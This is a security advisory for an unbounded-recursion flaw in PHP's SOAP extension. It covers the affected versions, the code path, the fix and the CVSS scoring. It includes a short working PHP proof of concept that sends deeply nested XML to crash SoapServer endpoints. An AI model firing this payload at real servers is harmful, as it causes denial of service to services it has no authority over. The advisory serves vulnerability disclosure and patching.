Skip to content

SOAP: Unbounded Recursion in Server-Side cleanup_xml_node

High
bukka published GHSA-rgrp-mwpx-f6rm Sep 24, 2026

Package

ext-soap (PHP)

Affected versions

<8.2.34
<8.3.35
<8.4.26
<8.5.11

Patched versions

8.2.34
8.3.35
8.4.26
8.5.11

Description

Summary

cleanup_xml_node() in the SOAP XML parser recurses once per XML nesting level with no depth limit. An unauthenticated attacker can post a SOAP request containing tens of thousands of nested elements to any SoapServer endpoint, exhaust the stack and crash the process. The same unbounded recursion exists in the SOAP value decoder and in the WSDL node search helper.

Details

cleanup_xml_node() walks the parsed document to remove blank text and comment nodes and descends into every child without a depth counter:

https://github.com/php/php-src/blob/php-8.5.10/ext/soap/php_xml.c#L39-L67

It runs after libxml2 has finished parsing, on the path taken by SoapServer::handle():

SoapServer::handle()
  -> soap_xmlParseFile("php://input")
    -> xmlCreateFileParserCtxt()
    -> xmlParseDocument()
    -> cleanup_xml_node(ctxt->myDoc->children)

libxml2 applies its own limits while parsing, but this traversal is PHP's own post-parse step and had none. soap_xmlParseMemory() has the call commented out, so the reachable path is the php://input one used by the server.

Two further functions recurse on the same attacker-controlled structure: master_to_zval_int() in ext/soap/php_encoding.c, which follows href references and could also be driven into a cycle, and get_node_with_attribute_recursive_ex() in ext/soap/php_xml.c, which searches WSDL documents.

The fix introduces SOAP_MAX_XML_DEPTH (2048) and SOAP_MAX_DECODE_DEPTH, rewrites cleanup_xml_node() and the WSDL search as iterative traversals, and tracks a decode depth in the SOAP globals so href chains and cycles are rejected rather than followed indefinitely. Documents nested deeper than the limit are refused before traversal.

PoC

<?php
$depth = 50000;
$body = '<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body>'
      . str_repeat('<a>', $depth) . str_repeat('</a>', $depth)
      . '</SOAP-ENV:Body></SOAP-ENV:Envelope>';

$ctx = stream_context_create(['http' => [
    'method' => 'POST',
    'header' => "Content-Type: text/xml\r\n",
    'content' => $body,
]]);
file_get_contents('http://target/soap-endpoint.php', false, $ctx);

The target crashes with SIGSEGV inside cleanup_xml_node(). The payload is small on the wire, since 50,000 nested tags compress to a few kilobytes. No WSDL interaction, authentication or special configuration is required.

The regression tests ext/soap/tests/GHSA-rgrp-mwpx-f6rm.phpt, GHSA-rgrp-mwpx-f6rm-href-chain.phpt and GHSA-rgrp-mwpx-f6rm-href-cycle.phpt cover the deep document, the href chain and the href cycle.

Impact

Any PHP application exposing a SoapServer endpoint can be crashed by a single unauthenticated HTTP request. Under PHP-FPM the worker handling the request dies, and a stream of such requests exhausts the worker pool and takes the endpoint offline. This is a denial of service; the stack exhaustion does not give control over the crash.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-91765

Weaknesses

No CWEs

Credits